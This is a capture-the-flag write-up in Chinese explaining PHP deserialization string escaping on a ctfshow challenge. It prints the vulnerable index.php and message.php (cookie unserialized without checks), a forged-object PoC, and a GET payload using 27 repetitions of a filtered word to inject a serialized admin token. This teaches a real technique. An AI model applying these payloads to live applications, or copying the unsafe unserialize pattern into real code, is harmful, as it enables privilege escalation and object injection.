PHP/5.6.40字符逃逸
index.php

  1. <?php
  3. /*
  4. # -*- coding: utf-8 -*-
  5. # @Author: h1xa
  6. # @Date:   2020-12-03 02:37:19
  7. # @Last Modified by:   h1xa
  8. # @Last Modified time: 2020-12-03 16:05:38
  9. # @message.php
  10. # @email: h1xa@ctfer.com
  11. # @link: https://ctfer.com
  13. */
  16. error_reporting(0);
  17. class message{
  18.     public $from;
  19.     public $msg;
  20.     public $to;
  21.     public $token='user';
  22.     public function __construct($f,$m,$t){
  23.         $this->from = $f;
  24.         $this->msg = $m;
  25.         $this->to = $t;
  26.     }
  27. }
  29. $f = $_GET['f'];
  30. $m = $_GET['m'];
  31. $t = $_GET['t'];
  33. if(isset($f) && isset($m) && isset($t)){
  34.     $msg = new message($f,$m,$t);
  35.     $umsg = str_replace('fuck', 'loveU', serialize($msg));
  36.     setcookie('msg',base64_encode($umsg));
  37.     echo 'Your message has been sent';
  38. }
  40. highlight_file(__FILE__);

看注释发现 message.php

  1. <?php
  3. /*
  4. # -*- coding: utf-8 -*-
  5. # @Author: h1xa
  6. # @Date:   2020-12-03 15:13:03
  7. # @Last Modified by:   h1xa
  8. # @Last Modified time: 2020-12-03 15:17:17
  9. # @email: h1xa@ctfer.com
  10. # @link: https://ctfer.com
  12. */
  13. highlight_file(__FILE__);
  14. include('flag.php');
  16. class message{
  17.     public $from;
  18.     public $msg;
  19.     public $to;
  20.     public $token='user';
  21.     public function __construct($f,$m,$t){
  22.         $this->from = $f;
  23.         $this->msg = $m;
  24.         $this->to = $t;
  25.     }
  26. }
  28. if(isset($_COOKIE['msg'])){
  29.     $msg = unserialize(base64_decode($_COOKIE['msg']));
  30.     if($msg->token=='admin'){
  31.         echo $flag;
  32.     }
  33. }

第一种做法

poc

  1. <?php
  3. class message{
  4.     public $token='admin';
  5. }
  7. $msg = new message();
  9. echo(base64_encode(serialize($msg)));
  11. ?>

image.png
flag
ctfshow{fb549105-65ee-4b60-99bb-7cc6ed9dd9d9}

第二种做法

因有一个正则替换，注意是序列化后再替换，且替换每次内容长度增加1，假如输入 t=fuck"
image.png
我们输入的 " 刚刚好可以发前面闭合，也就是说，我们每输入一个 fuck，我们可控的内容就多出 1 个字符。
我们目的构造 $token="admin" 序列化长这样
image.png
即 s:5:"token";s:5:"admin";
加上闭合
";``s:5:"token";s:5:"admin";``}
长度为 27
image.png
也就是我们需要输入 27 个 fuck

poc

  1. /?f=6&m=6&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

image.png
image.png
flag
ctfshow{8800cd7c-cd8a-4cf3-9a6f-71965ce5a4a3}